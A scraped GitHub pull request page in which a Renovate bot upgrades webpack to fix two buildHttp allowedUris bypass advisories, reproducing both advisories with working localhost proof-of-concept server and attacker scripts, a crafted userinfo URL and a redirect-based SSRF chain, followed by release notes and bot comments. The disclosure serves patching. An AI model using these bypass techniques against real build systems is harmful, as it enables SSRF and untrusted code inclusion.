chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - #208

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-webpack-vulnerability
Open

chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]#208
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-webpack-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 7, 2026•
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
webpack^5.101.3 → ^5.104.1ageconfidence

webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@​) leading to build-time SSRF behavior

CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x

More information

Details

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.

Reproduced on:

  • webpack version: 5.104.0
  • Node version: v18.19.1
Details

Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.

Example crafted URL:

  • http://127.0.0.1:9000@127.0.0.1:9100/secret.js

If the allow-list is ["http://127.0.0.1:9000"], then:

  • Raw string check:
    crafted.startsWith("http://127.0.0.1:9000") → true
  • URL parsing (WHAT new URL() will contact):
    origin → http://127.0.0.1:9100 (host/port after @)

As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.

Evidence from reproduction:

  • Server logs showed the internal-only endpoint being fetched:
    • [internal] 200 /secret.js served (...) (observed multiple times)
  • Attacker-side build output showed:
    • the internal secret marker was present in the bundle
    • the internal secret marker was present in the buildHttp cache
image-2
PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup
mkdir split-userinfo-poc &&cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js
5) Expected vs Actual

Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).

Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.

Impact

Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence

CVE-2025-68157 / GHSA-38r7-794h-5758

More information

Details

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.

Details

In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.

Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.

Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.

image
PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup
mkdir split-ssrf-poc &&cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
3) Create attacker.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");constwebpackPkg=require("webpack/package.json");constallowedPort=9000;constinternalPort=9100;constallowedBase=`http://127.0.0.1:${allowedPort}/`;constinternalTarget=`http://127.0.0.1:${internalPort}/secret.js`;constentryUrl=`${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;asyncfunctionwalk(dir){constout=[];constitems=awaitfs.readdir(dir,{withFileTypes: true});for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);returnbuf.toString("utf8").includes(needle)||buf.toString("latin1").includes(needle);}catch{returnfalse;}}asyncfunctionfindInFiles(files,needle){consthits=[];for(constfoffiles)if(awaitfileContains(f,needle))hits.push(f);returnhits;}constfmtBool=b=>(b ? "✅" : "❌");(async()=>{consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-attacker-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(entryUrl)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedBase],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constsecret=m ? m[0] : null;console.log("\n[ATTACKER RESULT]");console.log(`- webpack version: ${webpackPkg.version}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);console.log(`- imported URL (allowed only): ${entryUrl}`);console.log(`- temp dir: ${tmp}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log(`- bundle: ${bundlePath}`);if(!secret){console.log("\n[SECURITY SUMMARY]");console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);return;}constlockHit=awaitfileContains(lockfile,secret);letcacheFiles=[];try{cacheFiles=awaitwalk(cacheDir);}catch{cacheFiles=[];}constcacheHit=cacheFiles.length ? (awaitfindInFiles(cacheFiles,secret)).length>0 : false;constallTmpFiles=awaitwalk(tmp);constallHits=awaitfindInFiles(allTmpFiles,secret);console.log(`\n- extracted secret marker from bundle: ${secret}`);console.log("\n[SECURITY SUMMARY]");console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);console.log(`- Internal target (SSRF-like): ${internalTarget}`);console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);console.log(`- ACTUAL: internal content treated as module and bundled`);console.log("\n[EVIDENCE CHECKLIST]");console.log(`- bundle contains secret: ${fmtBool(true)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log("\n[PERSISTENCE CHECK] files containing secret");for(constfofallHits.slice(0,30))console.log(`- ${f}`);if(allHits.length>30)console.log(`- ... and ${allHits.length-30} more`);}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js
5) Expected

Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).

Impact

Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:

trigger network requests from the build machine to internal-only services (SSRF behavior),

cause content from outside the allow-list to be bundled into build outputs,

and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

webpack/webpack (webpack)

v5.104.1

Compare Source

Patch Changes
  • 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
  • c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.

v5.104.0

Compare Source

Minor Changes
  • d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
  • d3dd841: Enhance import.meta.env to support object access.
  • 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
  • 04cd530: Handle more at-rules for CSS modules.
  • cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
  • d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
  • 5983843: Provide a stable runtime function variable __webpack_global__.
  • d3dd841: Improved localIdentName hashing for CSS.
Patch Changes
  • 22c48fb: Added module existence check for informative error message in development mode.
  • 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
  • d3dd841: Support universal lazy compilation.
  • d3dd841: Fixed module library export definitions when multiple runtimes.
  • d3dd841: Fixed CSS nesting and CSS custom properties parsing.
  • d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
  • aab1da9: Fixed bugs for css/global type.
  • d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
  • d3dd841: Handle nested __webpack_require__.
  • 728ddb7: The speed of identifier parsing has been improved.
  • 0f8b31b: Improve types.
  • d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
  • 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
  • d3dd841: Serialize HookWebpackError.
  • d3dd841: Added ability to use built-in properties in dotenv and define plugin.
  • 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
  • d3dd841: Reduce collision for local indent name in CSS.
  • d3dd841: Remove CSS link tags when CSS imports are removed.

v5.103.0

Compare Source

Features
  • Added DotenvPlugin and top level dotenv option to enable this plugin
  • Added WebpackManifestPlugin
  • Added support the ignoreList option in devtool plugins
  • Allow to use custom javascript parse function
  • Added import.meta.env support for environment variables
  • Added support for import.meta.dirname and import.meta.filename
  • Added support import.defer() for statistical path
  • Handle import.meta.main
  • Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
  • Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
  • [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
  • [CSS] Added support for composes properties
Fixes
  • The dependOn chunk must be loaded before the common chunk
  • Return to namespace import when the external request includes a specific export
  • No runtime extra runtime code for module libraries
  • Delay HMR accept dependencies to preserve import attributes
  • Properly handle external presets for universal target
  • Fixed incorrect identifier of import binding for module externals
  • Fixed when defer import and dynamic default export mixed
  • Reduce generated output when globalThis supported
  • Fixed loading async modules in defer import
  • Reexport module for default import when no used exports for systemjs library
  • Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
  • Handle __dirname and __filename for ES modules
  • Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
  • [Types] webpack function type
  • [Types] NormalModule type
  • [Types] Multi compiler configuration type
  • [Types] Fixed regression in custom hashDigest type
  • [CSS] No extra runtime for initial chunk
  • [CSS] Fixed a lot of CSS modules bugs

v5.102.1

Compare Source

Fixes
  • Supported extends with env for browserslist
  • Supported JSONP fragment format for web workers.
  • Fixed dynamic import support in workers using browserslist.
  • Fixed default defer import mangling.
  • Fixed default import of commonjs externals for SystemJS format.
  • Fixed context modules to the same file with different import attributes.
  • Fixed typescript types.
  • Improved import.meta warning messages to be more clear when used directly.
  • [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.

v5.102.0

Compare Source

Features
  • Added static analyze for dynamic imports
  • Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
  • Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
  • Added the snapshot.contextModule to configure snapshots options for context modules
  • Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
  • The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
  • The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
  • Added function matcher support in rule options
Fixes
  • Fixed conflicts caused by multiple concatenate modules
  • Ignore import failure during HMR update with ES modules output
  • Keep render module order consistent
  • Prevent inlining modules that have this exports
  • Removed unused timeout attribute of script tag
  • Supported UMD chunk format to work in web workers
  • Improved CommonJs bundle to ES module library
  • Use es-lexer for mjs files for build dependencies
  • Fixed support __non_webpack_require__ for ES modules
  • Properly handle external modules for CSS
  • AssetsByChunkName included assets from chunk.auxiliaryFiles
  • Use createRequire only when output is ES module and target is node
  • Typescript types
Performance Improvements
  • Avoid extra calls for snapshot
  • A avoid extra jobs for build dependencies
  • Move import attributes to own dependencies

Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovateBot requested a review from a teamFebruary 7, 2026 20:44
@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Feb 7, 2026
@renovate
renovateBot requested review from a team and sullivanpj as code ownersFebruary 7, 2026 20:44
@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Feb 7, 2026
@renovate
renovateBot enabled auto-merge (squash) February 7, 2026 20:45
@renovate

renovateBot commented Feb 7, 2026

Copy link
Copy Markdown
ContributorAuthor

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.

@deepsource-io

deepsource-ioBot commented Feb 7, 2026•
edited
Loading

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall GradeSecurity

Reliability

Complexity

Hygiene

Code Review Summary

AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 9:01p.m.Review ↗
ShellMar 26, 2026 9:01p.m.Review ↗

@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 5a17899 to 3d46fe8CompareFebruary 12, 2026 11:32
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 3d46fe8 to ec73d92CompareFebruary 12, 2026 17:18
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from ec73d92 to 2c09d49CompareFebruary 16, 2026 15:16
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 16, 2026
@socket-security

socket-securityBot commented Feb 16, 2026•
edited
Loading

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​nx/​esbuild@​21.5.31001007199100
Added@​storm-software/​tsdoc@​0.13.1347610010098100
Addeddefu@​6.1.410010010080100
Addeddate-fns@​4.1.0981009280100
Added@​nx/​jest@​21.5.3991009299100
Added@​nx/​devkit@​21.5.3981009399100
Added@​nx/​js@​21.5.3981009399100
Added@​nuxt/​schema@​4.1.29910010094100
Added@​nuxt/​kit@​4.1.29910010094100

View full report

@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 2c09d49 to b2d5813CompareFebruary 16, 2026 19:11
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 16, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from b2d5813 to f8e7705CompareFebruary 17, 2026 16:50
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 17, 2026
@socket-security

socket-securityBot commented Feb 17, 2026•
edited
Loading

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm buffer is 96.0% likely obfuscated

Confidence: 0.96

Location:Package overview

From:pnpm-lock.yaml → npm/buffer@4.9.2

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/buffer@4.9.2. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from f8e7705 to a99b711CompareFebruary 17, 2026 23:33
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 17, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from a99b711 to 9de95edCompareFebruary 20, 2026 13:35
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 9de95ed to 87b107bCompareFebruary 20, 2026 17:48
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 87b107b to dba3e1eCompareFebruary 24, 2026 15:04
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 24, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from dba3e1e to 8a41fc8CompareFebruary 24, 2026 20:07
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 24, 2026
auto-merge was automatically disabled March 27, 2026 02:22

Pull request was closed

@renovate
renovateBot deleted the renovate/npm-webpack-vulnerability branch March 27, 2026 02:22
@storm-softwarestorm-software locked and limited conversation to collaborators Mar 28, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch 3 times, most recently from 438605d to b2afe26CompareApril 1, 2026 17:04
@renovate
renovateBot enabled auto-merge (squash) April 1, 2026 17:04
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from b2afe26 to dce06daCompareApril 1, 2026 22:14
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from dce06da to 46a2c11CompareApril 8, 2026 21:09
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]Apr 8, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 46a2c11 to 7307f35CompareApril 9, 2026 00:38
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 9, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 7307f35 to 2c45c07CompareApril 15, 2026 09:59
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]Apr 15, 2026
@renovate
renovateBotforce-pushed the renovate/npm-webpack-vulnerability branch from 2c45c07 to 780a625CompareApril 16, 2026 10:40
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
